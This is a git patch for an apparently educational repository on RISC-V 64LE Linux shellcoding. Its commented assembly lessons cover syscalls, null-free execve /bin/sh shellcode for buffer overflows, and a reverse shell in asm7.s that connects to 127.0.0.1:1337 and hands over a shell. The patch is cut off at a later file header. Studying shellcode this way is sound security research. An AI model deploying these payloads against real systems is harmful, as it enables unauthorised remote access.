From 01640c20df29a884bde046eb093389e077931f04 Mon Sep 17 00:00:00 2001 From: terrorbyte Date: Sat, 6 Apr 2019 16:02:56 -0500 Subject: [PATCH] Initial public commit for the project, resign and clean up old for public release --- .gitignore | 3 + LICENSE | 22 ++++++ Makefile | 80 +++++++++++++++----- README.md | 57 ++++++++++++++ bin/.empty | 0 doc/a1_0xcafebabe.s | 20 +++++ doc/asm1-objdump.txt | 11 +++ doc/cpuinfo.txt | 21 ++++++ doc/fig-2-blog.txt | 6 ++ doc/noptest.s | 29 +++++++ doc/notes.txt | 2 - src/asm1.s | 124 ++++++++++++++++++++++++++---- src/asm2.s | 72 +++++++++++++++--- src/asm3.s | 33 ++++++++ src/asm4.s | 33 ++++++++ src/asm5.s | 96 +++++++++++++++++++++++ src/asm6.s | 30 ++++++++ src/asm6c.s | 54 +++++++++++++ src/asm7.s | 79 +++++++++++++++++++ src/asm7c.s | 62 +++++++++++++++ src/asm8.s | 176 +++++++++++++++++++++++++++++++++++++++++++ src/sc1.h | 16 ++++ src/sc2.h | 45 +++++++++++ src/sctester.c | 20 +++-- src/simple1.c | 2 +- src/simple2.c | 2 +- src/simple3.c | 4 +- util/boot.sh | 14 ++++ util/instr_base.tbl | 7 ++ util/instr_c.tbl | 10 +++ util/trashdis.sh | 37 +++++++++ util/trashfmt.py | 4 + 32 files changed, 1118 insertions(+), 53 deletions(-) create mode 100644 LICENSE create mode 100644 README.md create mode 100644 bin/.empty create mode 100644 doc/a1_0xcafebabe.s create mode 100644 doc/asm1-objdump.txt create mode 100644 doc/cpuinfo.txt create mode 100644 doc/fig-2-blog.txt create mode 100644 doc/noptest.s delete mode 100644 doc/notes.txt create mode 100644 src/asm3.s create mode 100644 src/asm4.s create mode 100644 src/asm5.s create mode 100644 src/asm6.s create mode 100644 src/asm6c.s create mode 100644 src/asm7.s create mode 100644 src/asm7c.s create mode 100644 src/asm8.s create mode 100644 src/sc1.h create mode 100644 src/sc2.h create mode 100755 util/boot.sh create mode 100644 util/instr_base.tbl create mode 100644 util/instr_c.tbl create mode 100755 util/trashdis.sh create mode 100755 util/trashfmt.py diff --git a/.gitignore b/.gitignore index ad5119c..c80eaae 100644 --- a/.gitignore +++ b/.gitignore @@ -5,3 +5,6 @@ asm1 asm2 asm3 shellcode +bin/ +.*.sw* +*.tar.gz diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..990ed40 --- /dev/null +++ b/LICENSE @@ -0,0 +1,22 @@ +MIT License + +Copyright (c) 2019 Cale Black + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. + diff --git a/Makefile b/Makefile index a4f40b3..aae9b13 100644 --- a/Makefile +++ b/Makefile @@ -1,29 +1,75 @@ +BINPATH = bin + OBJ =\ - asm1.o\ - asm2.o + $(BINPATH)/asm1.o\ + $(BINPATH)/asm2.o\ + $(BINPATH)/asm3.o\ + $(BINPATH)/asm4.o\ + $(BINPATH)/asm5.o\ + $(BINPATH)/asm6.o\ + $(BINPATH)/asm6c.o\ + $(BINPATH)/asm7.o\ + $(BINPATH)/asm8.o BIN =\ - simple1\ - simple2\ - simple3\ - asm1\ - asm2\ - asm3\ - shellcode + $(BINPATH)/simple1\ + $(BINPATH)/simple2\ + $(BINPATH)/simple3\ + $(BINPATH)/asm1\ + $(BINPATH)/asm2\ + $(BINPATH)/asm3\ + $(BINPATH)/asm4\ + $(BINPATH)/asm5\ + $(BINPATH)/asm6\ + $(BINPATH)/asm6c\ + $(BINPATH)/asm7\ + $(BINPATH)/asm8\ + $(BINPATH)/sc1\ + $(BINPATH)/sc2 -BINPATH = bin +JNK =\ + shellcoding-riscv.tar.gz -all: c asm shellcode +all: c asm compressed shellcode c: - gcc -O0 -pic simple1.c -o $(BINPATH)/simple1 - gcc -O0 -pic simple2.c -o $(BINPATH)/simple2 - gcc -O0 -pic simple3.c -o $(BINPATH)/simple3 + gcc -O0 -fpic src/simple1.c -o $(BINPATH)/simple1 + gcc -O0 -fpic src/simple2.c -o $(BINPATH)/simple2 + gcc -O0 -fpic src/simple3.c -o $(BINPATH)/simple3 asm: - gcc -c asm1.s -o $(BINPATH)/asm1.s + gcc -march=rv64g -c src/asm1.s -o $(BINPATH)/asm1.o ld $(BINPATH)/asm1.o -o $(BINPATH)/asm1 - gcc -c asm2.s -o $(BINPATH)/asm2.s + gcc -march=rv64g -c src/asm2.s -o $(BINPATH)/asm2.o ld $(BINPATH)/asm2.o -o $(BINPATH)/asm2 + gcc -march=rv64g -c src/asm3.s -o $(BINPATH)/asm3.o + ld $(BINPATH)/asm3.o -o $(BINPATH)/asm3 + gcc -march=rv64g -c src/asm4.s -o $(BINPATH)/asm4.o + ld $(BINPATH)/asm4.o -o $(BINPATH)/asm4 + gcc -march=rv64g -c src/asm5.s -o $(BINPATH)/asm5.o + ld $(BINPATH)/asm5.o -o $(BINPATH)/asm5 + gcc -march=rv64g -c src/asm6.s -o $(BINPATH)/asm6.o + ld $(BINPATH)/asm6.o -o $(BINPATH)/asm6 + gcc -march=rv64g -c src/asm7.s -o $(BINPATH)/asm7.o + ld $(BINPATH)/asm7.o -o $(BINPATH)/asm7 + gcc -march=rv64g -z execstack -c src/asm8.s -o $(BINPATH)/asm8.o + ld $(BINPATH)/asm8.o -z execstack -o $(BINPATH)/asm8 + +compressed: + gcc -march=rv64gc -c src/asm6c.s -o $(BINPATH)/asm6c.o + ld $(BINPATH)/asm6c.o -o $(BINPATH)/asm6c + gcc -march=rv64gc -c src/asm7.s -o $(BINPATH)/asm7c.o + ld $(BINPATH)/asm7c.o -o $(BINPATH)/asm7c + clean: - rm -f $(BINPATH)/$(OBJ) $(BINPATH)/$(BIN) + rm -f $(OBJ) $(BIN) $(JNK) + +shellcode: + gcc -DSC1 -g -fno-stack-protector -z execstack src/sctester.c -o $(BINPATH)/sc1 + gcc -DSC2 -g -fno-stack-protector -z execstack src/sctester.c -o $(BINPATH)/sc2 + +package: c asm shellcode + tar cvzf riscv-$(shell date +%s).tar.gz $(BINPATH)/* + +.PHONY: + all clean asm shellcode package c diff --git a/README.md b/README.md new file mode 100644 index 0000000..e618062 --- /dev/null +++ b/README.md @@ -0,0 +1,57 @@ +RISC-V 64LE Linux Shellcoding +============================= + +This repository contains all the code used to create a minimal example +of creating shellcode for RISC-V 64LE. I attempted to do this as black- +box as possible using only the RISC-V documentation and source from gcc, +glibc, and the linux kernel. This was dual purpose to work on furthering +my understanding of hardware specifics, to learn to shellcode on a +lesser known/new ISA, and to attempt to get some payloads available even +before common adoption. + +Repository Layout +----------------- +Inside of the `src/` directory there are simple C examples +(`simpleN.c`), assembly examples (`asmN.s`), and shellcode examples +(`scN.h`) that are included by `sctester.c` and executed using a GCC +trampoline. + +The reading path is not one-to-one by the numbers, instead it should be +read in the following manner or as described in the coming blogpost: + +| files | lesson | +| :----- | :------ | +|`asm1.s`, `asm2.s` | Learn about the basic calling conventions, linux specifics for system calls, data access | +| `asm3.s` | Port a program to not use the rodata section and learn about PIC | +| `asm4.s` | Graceful shell spawning in assembly | +| `sc1.h`, `asm5.s` | Learn about the pitfalls of shellcode and use a simple shellcode tester to check for null chars | +| `sc2.h`, `asm6.s` | Discover more pitfalls, solutions, and port the more advanced shell exec shellcode | +| `asm7.s` | Create a reverse shell in assembly | +| `asm8.s`, `sc3.h` | Porting the reverse shell to shellcode | + +Additionally, it is extremely common for most of the implimentations of +RISC-V to contain the C compressed instruction extension. For that +reason I decided to add a few examples: + +| files | lesson | +| :----- | :------ | +|`asm6c.s` | An example of some shellcode with compressed instructions and less xor | + +Usage / Building +---------------- +It is expected that you have a VM to test with, the instructions for +running will be here. Once you have the VM the code can either be +compiled from the directly from the root of the repository with a simple +`make` in the root of the directory. This expect you to have `gcc(1)` and +`as(1)` for assembly. + +Additionally the realease page should have a copy of the bin directory +after a successful compilation. + +Supporting/Helpful Documents +---------------------------- +- [RISC-V Green Card](https://www.cl.cam.ac.uk/teaching/1617/ECAD+Arch/files/docs/RISCVGreenCardv8-20151013.pdf) +- [RISC-V User-Level ISA](https://content.riscv.org/wp-content/uploads/2017/05/riscv-spec-v2.2.pdf) +- [Linux RISC-V Kernel](https://github.com/torvalds/linux/tree/master/arch/riscv) +- [Linux Architecture Specific syscall(2) Info](http://man7.org/linux/man-pages/man2/syscall.2.html#NOTES) +- [Fedora RISC-V Images](https://fedoraproject.org/wiki/Architectures/RISC-V/Installing) diff --git a/bin/.empty b/bin/.empty new file mode 100644 index 0000000..e69de29 diff --git a/doc/a1_0xcafebabe.s b/doc/a1_0xcafebabe.s new file mode 100644 index 0000000..f8756db --- /dev/null +++ b/doc/a1_0xcafebabe.s @@ -0,0 +1,20 @@ +.section .text +.globl _start +_start: + li a0,0x0 + li a2,16 + # without using the li pseudo instruction load a1 with 0xcafebabe + lui a1,0x33 + addi a1,a1,-1029 + slli a1,a1,0xe + addi a1,a1,-1346 + ret + #li a7, 64 # 64 is the __NR_write syscall + #ecall + #li a0, 0x0 + #li a7, 93 + #ecall + +.section .rodata +msg: + .string "Hello MWR Labs\n\0" diff --git a/doc/asm1-objdump.txt b/doc/asm1-objdump.txt new file mode 100644 index 0000000..8ef0230 --- /dev/null +++ b/doc/asm1-objdump.txt @@ -0,0 +1,11 @@ + +bin/asm1: file format elf64-littleriscv + + +Disassembly of section .text: + +0000000000010078 <_start>: + 10078: 00a54533 xor a0,a0,a0 + 1007c: 00750513 addi a0,a0,7 + 10080: 05d00893 li a7,93 + 10084: 00000073 ecall diff --git a/doc/cpuinfo.txt b/doc/cpuinfo.txt new file mode 100644 index 0000000..0a68ca8 --- /dev/null +++ b/doc/cpuinfo.txt @@ -0,0 +1,21 @@ +[root@fedora-riscv ~]# cat /proc/cpuinfo +processor : 0 +hart : 3 +isa : rv64imafdcu +mmu : sv48 + +processor : 1 +hart : 0 +isa : rv64imafdcu +mmu : sv48 + +processor : 2 +hart : 1 +isa : rv64imafdcu +mmu : sv48 + +processor : 3 +hart : 2 +isa : rv64imafdcu +mmu : sv48 + diff --git a/doc/fig-2-blog.txt b/doc/fig-2-blog.txt new file mode 100644 index 0000000..547c858 --- /dev/null +++ b/doc/fig-2-blog.txt @@ -0,0 +1,6 @@ +[root@fedora-riscv riscv]# ./util/trashfmt.py $(./util/trashdis.sh "ADD a0,a7,a6") +00000001 00001000 10000101 00110011 +[root@fedora-riscv riscv]# ./util/trashdis.sh "ADD a0,a7,a6" && ./util/trashfmt.py $(./util/trashdis.sh "ADD a0,a7,a6") +01088533 add a0,a7,a6 +00000001 00001000 10000101 00110011 + diff --git a/doc/noptest.s b/doc/noptest.s new file mode 100644 index 0000000..de3ecb0 --- /dev/null +++ b/doc/noptest.s @@ -0,0 +1,29 @@ +.section .text +.globl _start +_start: + xor x0,x0,0 + xor x0,x0,1 + xor x0,x0,0xff + and x0,x0,0 + and x0,x0,1 + and x0,x0,0xff + and x0,x0,x0 + addi x0,x0,0 + addi x0,x0,1 + addi x0,x1,0 + addi x0,x1,1 + addi x0,x8,0 + addi x0,x8,1 + addi x0,x15,0 + addi x0,x15,1 + addi x0,x31,0 + addi x0,x31,1 + addiw x0,x0,0xff + rdcycle x0 + rdcycle x30 + #c.addi x17,1 + #c.addi x17,0x0 + li a0, 0x0 + li a7, 93 + #c.ebreak + ecall diff --git a/doc/notes.txt b/doc/notes.txt deleted file mode 100644 index b1abf31..0000000 --- a/doc/notes.txt +++ /dev/null @@ -1,2 +0,0 @@ -/usr/include/asm-generic/unistd.h -__NR_execve 221 diff --git a/src/asm1.s b/src/asm1.s index aeb6056..bacd57d 100644 --- a/src/asm1.s +++ b/src/asm1.s @@ -1,18 +1,112 @@ +# This first example is a simple system call that triggers is a exit(7); +# +# The first step is to get a handle on the RISC-V instructions from the +# ISA documentation and to understand how the different instructions are +# formated. The spec can be found here and is fairly readable: +# +# https://github.com/riscv/riscv-isa-manual/releases/download/draft-20190309-ceb9d83/riscv-spec.pdf +# +# There are 32 registers (and a program counter) and contain 4 core +# instruction formats (refered to as R, I, S, and U-type) and 2 +# "immediate" instruction formats (B, J-type). The types of registers +# determine the format of the instructions, which can be a bit +# confusing, but the machine readable format looks like the following. +# NOTE: Remember this is little endian: +# +# SEE Section 25.1 in the ISA: Figure 25.1 +# +# There are additional extensions to the 32-bit core that are relevant +# since we are looking at the 64-bit little endian version specifically +# (RV64G). These define even more instructions for 64-bit support and is +# important to understand that different CPU's support even more +# extensions: +# * M - Integer multiplication and division +# * A - Atomic instructions +# * F - Single-precision floating point +# * D - Double-precision floating point +# * Q - Quad-precision floating point +# * L - Decimal floating point +# * C - Compressed instructions +# * B - Bit manipulation +# * J - Dynamically translated languages +# * T - Transactional memory +# * P - Packed-SIMD +# * V - Vector operations +# * N - User-level interrupts +# * "Zicsr" - Control and status register +# * "Zefencei" - Instruction-fetch fence +# +# This means that a CPU might look like `RV64IMAFDC`, which has a nice +# ring to it. Luckily the RISC-V team has defined the bare minimum of +# what can be considered a "general-purpose" ISA as RV32G/RV64G which +# contains the IMAFD, Zicsr, and Zifencei extensions. So you may see a +# CPU like `RV64IMAFDC` called `RV64GC` if it contains the expected +# instructions and the compressed extensions. This matters for us in the +# shellcoding process as we should attempt to stay as close to the G +# standard as much as possible as that might be all that can be expected +# for us to have. +# +# Chapter 25: RV32/64G Instruction Set Listings gives a wonderful layout +# and good reference for the types of instructions and a table +# containing the instructions in a good reference table. +# +# The RISC-V "green card" has a few pieces of outdated information, but +# is also a great reference that I used heavily: +# +# https://www.cl.cam.ac.uk/teaching/1617/ECAD+Arch/files/docs/RISCVGreenCardv8-20151013.pdf +# +# In the instruction land it is important to note one additional thing, +# the assembler understands a set of pseudoinstructions. The +# pseudoinstructions are linker understood instructions that are aliases +# for common functions, the table of these can be seen in Table 26.2 +# with a translation of what the instructions are translated to. This +# can be rather confusing as certain instructions may generate their +# translated counterparts or not. An example is the `li` +# pseudo-instruction that may generate different code depending on data +# is being loaded. The confusing-ness is even more confusing based on +# the ISA specification specifically stating that "This chapter is a +# placeholder for an assembly programmer’s manual" which is not +# particularly helpful. +# +# The second step to understanding this is to understand the calling +# convention in RISC-V and then what the implimentation actually looks +# like. Luckily the calling convention is pretty easy to find and has a +# very easy to understand table: +# https://riscv.org/wp-content/uploads/2015/01/riscv-calling.pdf +# +# This calling convention gives us a starting point and some hints about +# how things work after objdump'ing simple1.c, but for some more context +# it is better to probably go straight to the kernel and libc: +# +# https://sourceware.org/git/?p=glibc.git;a=blob;f=sysdeps/unix/sysv/linux/riscv/sysdep.h;h=5470ea3d2a6882ad34e5fc924517fd6fc98add2b;hb=HEAD +# https://github.com/torvalds/linux/tree/master/arch/riscv +# http://man7.org/linux/man-pages/man2/syscall.2.html#NOTES +# +# Based on the documentation in syscall(2) and glibc - a7 will hold the +# exit syscall and a0 will be the initial first argument and will also +# hold the return value from the syscall after execution +# +# ecall is the replacement for scall that might be seen in earlier +# versions of the RISC-V ISA +# +# The last step is to discover what the actual syscall number is and for +# this if you are on the fedora image you can check +# /usr/include/asm-generic/unistd.h or +# https://github.com/torvalds/linux/blob/master/tools/include/uapi/asm-generic/unistd.h +# +# A quick grep for __NR_exit indicates that the system call is 93. .section .text .globl _start _start: - li a0,0x0 - li a2,13 - lui a1, %hi(msg) # load msg(hi) - addi a1, a1, %lo(msg) # load msg(lo) - li a7, 64 #64 is the __NR_write syscall - ecall - li a0, 0x7 - li a7, 93 - ecall - #ret -#2: j 2b - -.section .rodata -msg: - .string "Hello World\n\0" +# To set this up we need to load our exit value (7) into the first +# argument for the system call. Many syscall's are wrapped by libc and +# you should make sure to use the kernel versions of the calls and not +# what is expected from libc. +# +# The first part of this clears the a0 register using RV64G standard +# instructions. The second uses the `li` pseudoinstruction to load the +# systemcall number. + xor a0,a0,a0 # Zero out the first argument (a0) + addi a0,a0,0x7 # Add 7 to a0. addi dest,src,immediate + li a7, 93 # 93 is the __NR_exit syscall + ecall # trigger system call diff --git a/src/asm2.s b/src/asm2.s index cd279a8..aa7ead3 100644 --- a/src/asm2.s +++ b/src/asm2.s @@ -1,16 +1,68 @@ +# This example expands on the last one by using the "write" system call +# to print the strings using two different mechanisms. Only the first +# example should be useful for shellcoding, but the second is important +# to demonstrate how the 32-bit registers have restrictions and how to +# work with them in a position independent manner. +# +# We will print the strings: +# - AA\n\0 +# - Hello MWR Labs\n\0 +# +# The first step to this is to load the values we want to print on the +# stack using their literal values in little endian, load the other +# arguments, and call the system call like in the previous example. +# +# This gets a bit more complicated when you realize that the `li` +# pseudoinstruction generates code differently for values greater than +# 1048575 (0xFFFFF). This is due to the fact that loading the immediate +# upper value being a U-type instruction can only take 20 bits and the +# rest of the expected 12 bits will have to be ADDI'd afterward. +# +# Remember the U-type format is imm[31:12] | rd | opcode +# +# As an example, `li a1,0xFFFFF000` will generate code as: +# > lui a1,1048575 +# +# Whereas attempting to use `li a1,0x000a4141` will generate: +# > lui a1,0xa4 # 0x000a4 - Upper 20 bits +# > addiw a1,a1,321 # 0x141 - lower 12 bits +# +# This can cause issues and make things a bit hard to predict the output +# of the assembler, so be aware when writing the assembly. +# +# The second part of achieves the same thing as the first but uses the +# assembler macro (TODO right verbiage?) for loading the upper portion +# of the text and then the lower. This is very useful when hand writing +# asm, but not very useful for shellcoding. +# +# An additional note, the `ebreak` instruction will trigger a gdb trap +# and will allow you to debug incredibly easily. I used this very +# heavily during development to better understand. If your VM supports +# gdb, I highly suggest exploring the register (`i r`), stack (`i +# stack`), and stepping through instructions (`stepi`). .section .text .globl _start _start: - li a1,0x0 - li a2,0x0 - lui a0, %hi(msg) # load msg(hi) - addi a0, a0, %lo(msg) # load msg(lo) - li a7, 221 #221 is the __NR_execve - ecall - li a0, 0x0 - li a7, 93 - ecall + li a0,0x0 #first argument: file descriptor STDOUT + addi sp,sp,-4 #move stack pointer down 4 bytes + li a1,0x000a4141#Literal AA\n\0 in little endian + sd a1,4(sp) #store AA\n\0 sp+4 (orignal sp value) + li a1,0 #zero out the a1 register for the next instruction + addi a1,sp,4 #second argument: address of sp+4 (original sp value) + li a2,4 #third argument: 4 byte size of buffer + li a7, 64 #64 is the __NR_write syscall + #ebreak + ecall #system call + li a0,0x0 #first argument: file descriptor STDOUT + addi sp,sp,-16 #move stack pointer down 16 bytes + lui a1, %hi(msg) #load msg(upper 20 bits) + addi a1, a1, %lo(msg) #load msg(lower 12 bits) + li a2,17 #third argument: 16 byte size of buffer + ecall #a7 is still loaded with write syscall + li a0, 0x0 + li a7, 93 + ecall .section .rodata msg: - .string "/bin/sh\0" + .string "Hello MWR Labs\n\0" diff --git a/src/asm3.s b/src/asm3.s new file mode 100644 index 0000000..a38e93e --- /dev/null +++ b/src/asm3.s @@ -0,0 +1,33 @@ +# This example is pretty much the same as the last, but provides the +# oppurtunity to discuss why we should structure assembly for shellcode +# in a certain manner. One of the first concepts that we are going to +# need is Position Independent Code (PIC). In our last example our long +# string that we printed was read from the .rodata section of the ELF, +# which means that the data is written to the corresponding binary +# itself and either statically referenced or at run time a virtual +# address is generated. +# +# The behavior of having strings hardcoded in object sections means that we are +# not able to reliably reuse them in a generic manner when injecting the +# shellcode into a vulnerable target. We now have the restriction of making all +# the shellcode not reference static locations, we can't use labels, can only +# use relative jumps, and are restricted from using library functions. Up until +# this point we were functionally doing that anyway based on the simple nature +# of our programs, but a real assembly programmer would most likely be taking +# more advantage of this. +# +.section .text +.globl _start +_start: + li a0,0x0 #first argument: fd 0 = STDOUT + li a2,8 #third argument: sizeof(a1) + li t0,0x0a414141 #example of using temporary registers + li t1,0x42424242 + addi sp,sp,-8 #move the stack down sizeof(t0+t1) + sd t1,0(sp) #store 'BBBB' + sd t0,4(sp) #store 'AAA\n' + addi a1,sp,0 #point a1 to the top of the stack + li a7, 64 #64 is the __NR_write syscall + ecall + li a7, 93 #exit with retval of previous syscall + ecall diff --git a/src/asm4.s b/src/asm4.s new file mode 100644 index 0000000..0e10df0 --- /dev/null +++ b/src/asm4.s @@ -0,0 +1,33 @@ +# This is the last example of simple assembly that we will write, it is +# a simple call to execve(2) to call /bin/sh. At this point we are still +# not writing any commonly useful shellcode, but still familiarizing +# ourselves with using position independent code and some of the +# RISC-V assembly pain points. +# +# We will use the same techniques as before to make a call to +# execve(2) in order to execute a shell. This combines all that we have +# learned so far and requires the following signature be matched from +# the execve documentation: +# +# execve(const char *filename, char *const argv[],char *const envp[]); +# +# While at first this might be intimidating, but just like with the +# write example all we need to do is set up the stack to contain the +# /bin/sh filename and set the other arguments to 0 making them NULL +# values. +.section .text +.globl _start +_start: + #execve(*filename, *argv[], *envp[]) + li a0,0x6e69622f #nib/ + addi sp,sp,-8 #set up the stack + sd a0,0(sp) #store '/bin' + li a0,0x0068732f #\0hs/ + sd a0,4(sp) #store '/sh\0' + addi a0,sp,0 #set a0 to the top of the stack + li a2,0x0 #set argv[] to NULL + li a1,0x0 #set envp[] to NULL + li a7, 221 #221 is the __NR_execve + ecall + li a7, 93 #exit value of execve is in a0 + ecall #exit the program with the retval of execve diff --git a/src/asm5.s b/src/asm5.s new file mode 100644 index 0000000..67eb092 --- /dev/null +++ b/src/asm5.s @@ -0,0 +1,96 @@ +# Now the real fun begins, in order to use our shellcode examples in a +# traditional (and antiquated) input based buffer overflow we need to +# understand common restrictions for shellcode. These disallowed +# characters are often refered to as "badchars" that prevent the normal +# execution of code flow. The most common are null characters (\x00), +# new lines in web applications, and a bunch more that are dependent on +# specific use case restrictions. +# +# This example is an attempt to remove the null characters from asm1.s. +# The first steps to doing this are to examine what the output of the +# disassembly of asm1 using good old `objdump`. Below al lines ending in +# a `<` character indicate locations where null bytes exist: +# +# 10078: 00000513 li a0,0 < +# 1007c: 00000893 li a7,0 < +# 10080: 05d88893 addi a7,a7,93 +# 10084: 00000073 ecall < +# +# 4 instructions and 3 contain null characters. The solution for this is +# to write our shellcode with null characters in mind, restricting +# ourselves to instructions, registers, immediate values, and opcodes +# that will not contain the bad characters. We will do this by hand the +# first time and then slowly start building a "dictionary" and +# eventually some simplistic tooling to handle transcoding. +# +# I will be treating ecall as a special case and will temporarily ignore +# the null characters until it become relevant. +# +# The fist step is to discover which opcodes corespond to usable +# instructions without nulls. Knowing that we have to clear some +# registers, it is clear that `li` actually has a null safe opcode +# (0x13), but the argument of 0 for it's immediate value always an +# immediate field containing nulls. You could do some tricky math to +# attempt to account for this, or we could check if there are any other +# instructions that can be use with both safe opcodes and arguments. +# +# My mind goes instantly to xor since xor'ing a value with itself always +# clears it. So to check the opcode safety I wrote a terrible script +# here: `utils/trashdis.sh` This piece of code compiles and objdumps a +# single passed instruction like so: +# +# ./util/trashdis.sh 'xor a0,a0,a0' +# 00a54533 xor a0,a0,a0 +# ./util/trashfmt.py 0x00a54533 +# 00000000 10100101 01000101 00110011 +# +# Based on what we know about the register formats XOR is a R type +# instruction, meaning that the we know the how to make a decision on +# which arguments are causing the null characters. I played with this by +# doing the following: +# +# # ./trashfmt.py $(./trashdis.sh 'xor x0,x0,x0') +# 00000000 00000000 01000000 00110011 +# # ./trashfmt.py $(./trashdis.sh 'xor x0,x0,x1') +# 00000000 00010000 01000000 00110011 +# # ./trashfmt.py $(./trashdis.sh 'xor x0,x1,x0') +# 00000000 00000000 11000000 00110011 +# # ./trashfmt.py $(./trashdis.sh 'xor x1,x0,x0') +# 00000000 00000000 01000000 10110011 +# +# A quick glance indicates that we need to get a value into the most +# significant bytes to get rid of the null. The R type instructions use +# the second argument (`rs2`) in bits 19-24, which means that we should +# be able to use x17 or greater in `rs2` to get 0x0001 just barely +# getting us by. This is due to the fact that helpfully the `xN` +# representation of the registers is also the hex value. +# +# If we look up the calling convention you will find that x17 is a7. +# This can be tested by trying to clear a7 and passing it through the +# trashutils: +# +# ./trashdis.sh 'xor a7,a7,a7' +# 0118c8b3 xor a7,a7,a7 +# +# Good, we were correct. Using the same xor trick we can also set +# a0 (x10) by making it the destination register: +# +# # ./trashdis.sh 'xor a0,a7,a7' +# 0118c533 xor a0,a7,a7 +# +# The final disassembly looks like this: +# +# 10078: 0118c8b3 xor a7,a7,a7 +# 1007c: 0118c533 xor a0,a7,a7 +# 10080: 05d88893 addi a7,a7,93 +# 10084: 00000073 ecall +# +# We can test what we have so far by compiling and running it. We will +# revist getting rid of the ecall null's later. +.section .text +.globl _start +_start: + xor a7,a7,a7 # clear a7 + xor a0,a7,a7 # set a0 to 0 + addi a7,a7,93 # set syscall to exit(0) + ecall diff --git a/src/asm6.s b/src/asm6.s new file mode 100644 index 0000000..6d1335e --- /dev/null +++ b/src/asm6.s @@ -0,0 +1,30 @@ +#10078: 6e696537 lui a0,0x6e696 +#1007c: 22f5051b addiw a0,a0,559 +#10080: ff810113 addi sp,sp,-8 +#10084: 00a13023 sd a0,0(sp) < +#10088: 00687537 lui a0,0x687 < +#1008c: 32f5051b addiw a0,a0,815 +#10090: 00a13223 sd a0,4(sp) < +#10094: 00010513 mv a0,sp < +#10098: 00000613 li a2,0 < +#1009c: 00000593 li a1,0 < +#100a0: 0dd00893 li a7,221 < +#100a4: 00000073 ecall +.section .text +.globl _start + +_start: + li a7,0x69622f2f #ib// + addi sp,sp,-8 + sd a7,0(sp) + li a7,0x68732f6e # hs/n + sd a7,4(sp) + xor a7,a7,a7 + addi a7,sp,0x11 + xor a0,a7,a7 + addi a0,a7,-0x11 + xor a2,a7,a7 + xor a1,a7,a7 + xor a7,a7,a7 + addi a7,a7,221 + ecall diff --git a/src/asm6c.s b/src/asm6c.s new file mode 100644 index 0000000..6ddb120 --- /dev/null +++ b/src/asm6c.s @@ -0,0 +1,54 @@ +.section .text +.globl _start + +#0000000000010078 <_start>: +# 10078: 6e696537 lui a0,0x6e696 +# 1007c: 22f5051b addiw a0,a0,559 +# 10080: 1161 addi sp,sp,-8 +# 10082: e02a sd a0,0(sp) +# 10084: 00687537 lui a0,0x687 < +# 10088: 32f5051b addiw a0,a0,815 +# 1008c: 00a13223 sd a0,4(sp) < +# 10090: 4501 li a0,0 +# 10092: 00010513 mv a0,sp < +# 10096: 4601 li a2,0 +# 10098: 4581 li a1,0 +# 1009a: 0dd00893 li a7,221 < +# 1009e: 00000073 ecall +# 100a2: 4501 li a0,0 +# 100a4: 4881 li a7,0 +# 100a6: 05d88893 addi a7,a7,93 +# 100aa: 00000073 ecall + +# 4 problem spots +# - the "/bin/sh\0" inheritely has a null +# - store using a0 for the stack pointer has a null +# - the addi is getting translated to mv +# - the li for the syscall contains a null + +# 4 solutions +# - change "/bin/sh\0" to "//bin/sh", which fills the buffer and removes the NULL +# - move the register to a higher value to shift the bits to a non-null value, I chose a7 since it was cleared later anyway +# - change the addi to have a value inside of another register (similar to above) and then add the negative value later +# - more arithmetic magic to make it work + +_start: + li a0,0x69622f2f #ib// + addi sp,sp,-8 + sd a0,0(sp) + li a7,0x68732f6e # hs/n + sd a7,4(sp) + li a7,0x0 + addi a7,sp,0x11 + li a0,0 + addi a0,a7,-0x11 + li a2,0x0 + li a1,0x0 + li a7,0x1 + addi a7,a7,220 + #li a7, 221 #221 is the __NR_execve + ecall + li a0, 0x0 + li a7, 0x0 + addi a7,a7,93 + ecall diff --git a/src/asm7.s b/src/asm7.s new file mode 100644 index 0000000..00cefc4 --- /dev/null +++ b/src/asm7.s @@ -0,0 +1,79 @@ +.section .text +.globl _start + +/* +AF_INET=2 +SOCK_STREAM=1 +inet_addr=0x100007f +port=0x3905 +sizeof(sockaddr_in)=16 +*/ + +/* +struct sockaddr_in { + sa_family_t sin_family; // address family: AF_INET + in_port_t sin_port; // port in network byte order + struct in_addr sin_addr; // internet address +}; +*/ + +_start: + #socket(AF_INET, SOCK_STREAM, 0); + li a0,2 + li a1,1 + li a2,0 + li a7,198 #__NR_socket 198 + ecall #socket fd in a0 + #create sockaddr_in + addi sp,sp,-16 + li t0,2 #sizeof(AF_INET)=2 + sd t0,0(sp) + li t0,0x3905 #sizeof(SOCK_STREAM)=2 + sd t0,2(sp) + li t0,0x100007f + sd t0,4(sp) + li a1,0 + addi a1,sp,0 + li a2,16 + #connect(a0,&sa,16) + li a7, 203 #__NR_connect 203 + #ecall will clobber a0/socket fd + li t0,0 + addi t0,a0,0 + ecall + #dup2(a0,{1,2,3}) + li a0,0 + addi a0,t0,0 + li a1,0 + li a2,0 + li a7,24 #__NR_dup3 24 + ecall + li a0,0 + addi a0,t0,0 + li a1,1 + ecall + li a0,0 + addi a0,t0,0 + li a1,2 + ecall + + #execve("//bin/sh",NULL,NULL); + li a0,0x69622f2f #ib// + addi sp,sp,-8 + sd a0,0(sp) + li a7,0x68732f6e # hs/n + sd a7,4(sp) + li a7,0x0 + addi a7,sp,0x11 + li a0,0 + addi a0,a7,-0x11 + li a2,0x0 + li a1,0x0 + li a7,0x1 + addi a7,a7,220 + ecall + #exit(0); + li a0, 0x0 + li a7, 0x0 + addi a7,a7,93 + ecall diff --git a/src/asm7c.s 